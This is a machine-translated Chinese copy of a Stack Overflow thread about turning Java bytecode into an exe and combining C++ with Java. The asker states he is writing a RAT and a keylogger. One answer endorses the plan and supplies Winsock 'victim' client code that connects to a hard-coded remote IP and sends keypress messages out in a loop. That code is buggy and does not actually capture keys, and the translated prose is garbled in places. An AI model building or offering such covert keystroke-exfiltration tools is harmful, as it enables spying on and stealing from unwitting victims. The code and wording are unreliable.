2013-05-21 32 views
-4

我已經閱讀了許多文章和帖子,但即時通訊仍然混淆瞭如何使字節碼轉換爲exe,以便它可以在任何獨立的機器上運行,使用JRE,JVM或任何其他類型事情。Java字節碼來exe和梳理c + +和java

結合C++和java程序是什麼意思?

如果可以結合使用C++和Java程序,該怎麼做?

+0

爲什麼你想在沒有JVM的情況下運行java程序? – vikingsteve

+0

我正在製作一些程序,如'老鼠'和'鍵盤記錄器'在java 所以我想讓它運行在獨立的機器:) –

+3

@RishabhGoyal:對我來說java似乎是鍵盤記錄器最糟糕的語言..... – Exceptyon

回答

1

字節代碼的EXE,以便它可以是在任何獨立的機器上運行: 我不認爲這可以完成。 Java程序集與x86程序集的體系結構不同。也許你可以從java源代碼到.exe。

結合C++和java程序是通過JNI完成的。 您使用特定庫編寫C++ dll以在Java和C數據類型之間進行轉換,並從您的java代碼中調用該dll。

結合C++和Java程序,怎麼可以這樣做:做你想做什麼 http://www.ibm.com/developerworks/java/tutorials/j-jni/section2.html

的最佳方式: 用C盡一切++。你的鍵盤記錄器使用本地系統調用來獲得關鍵狀態,所以最好是用C/C++編寫,只需學習C++的winsock來發送數據即可。 受害人將成爲客戶,您將成爲服務器 http://www.binarytides.com/winsock-socket-programming-tutorial/ 請參閱「發送數據」部分。

下面是客戶受害人一些示例代碼:

#include<stdio.h> 
#include<winsock2.h> 

#pragma comment(lib,"ws2_32.lib") //Winsock Library 

int main(int argc , char *argv[]) 
{ 
    WSADATA wsa; 
    SOCKET s; 
    struct sockaddr_in server; 
    char *message; 

    printf("\nInitialising Winsock..."); 
    if (WSAStartup(MAKEWORD(2,2),&wsa) != 0) 
    { 
     printf("Failed. Error Code : %d",WSAGetLastError()); 
     return 1; 
    } 

    printf("Initialised.\n"); 

    //Create a socket 
    if((s = socket(AF_INET , SOCK_STREAM , 0)) == INVALID_SOCKET) 
    { 
     printf("Could not create socket : %d" , WSAGetLastError()); 
    } 

    printf("Socket created.\n"); 


    server.sin_addr.s_addr = inet_addr("74.125.235.20"); //your ip here 
    server.sin_family = AF_INET; 
    server.sin_port = htons(80); //your port here 

    //Connect to remote server 
    if (connect(s , (struct sockaddr *)&server , sizeof(server)) < 0) 
    { 
     puts("connect error"); 
     return 1; 
    } 

    puts("Connected"); 

    //Send some data 
    char message[128];  
    while(true){ 
     //Check if a key is pressed 
     strcpy(message, "Keypressed!"); 
     send(s , message , strlen(message) , 0) 
    } 
    closesocket(s); 
    WSACleanup(); 
    return 0; 
} 

用Java編寫的服務器程序。

+0

不錯,但我有更多的程序,即真正大,我想打電話給他們在我的Java程序。 –

+0

如何在turbo c中添加winsock2.h庫。 –

+0

我不知道這是一個爲visual studio編譯器編寫的windows應用程序 –

3

我已閱讀仍然感到困惑如何 化妝/字節碼轉換成exe文件,以便它可以在任何獨立 機器上全無JRE,JVM或任何其他之類的話來運行許多文章和帖子,但即時通訊。

這可以使用GCJ來實現,但從我的經驗來看並不常見。如果您不確定目標計算機是否安裝了JVM,則可以使用字節代碼發送JRE的副本。

結合C++和java程序是什麼意思?

Java可以使用JNI執行本機代碼。

如果可以結合使用C++和Java程序,該怎麼做?

如上所述,您可以使用JNI。

+0

根據站點 「GCJ是一種可移植的,優化的,用於Java編程語言的提前編譯器,它可以將Java源代碼編譯爲Java字節碼(類文件)或直接編譯爲本地機器碼,並將Java字節碼編譯爲本地機器碼「。 你能說一些關於本地機器代碼的東西嗎.. –

+0

你到底想說些什麼呢?這就是說它會生成一個二進制文件,可以在沒有任何其他解釋器的情況下由您的操作系統執行。如果你想了解機器代碼,那麼我會建議買一本書,或者註冊一個CompSci課程...... – SimonC

+0

我希望你能說,這將獨立運行在Windows上或可以在Mac上運行。將其轉換爲「.exe」或什麼.. 你想要我加入什麼類型的課程...... –

0

我強烈建議你不同的東西,離開他們,因爲他們是。 如果您需要強大而快速的語言,請選擇C/C++並讓您的應用程序完全使用它。 現在如果您是在可移植性之後進行快速開發/部署,那麼請使用java。

您還可以使用C#和許多其他快速開發語言來實現您的目標。

啊,PS:該.jar/.class文件是可執行的二進制文件,他們只需要安裝正確的Java工作框架託管代碼,如.NET

+0

Thanx您的建議。這只是爲了知識。 這對我有用bcz我看到不同:) –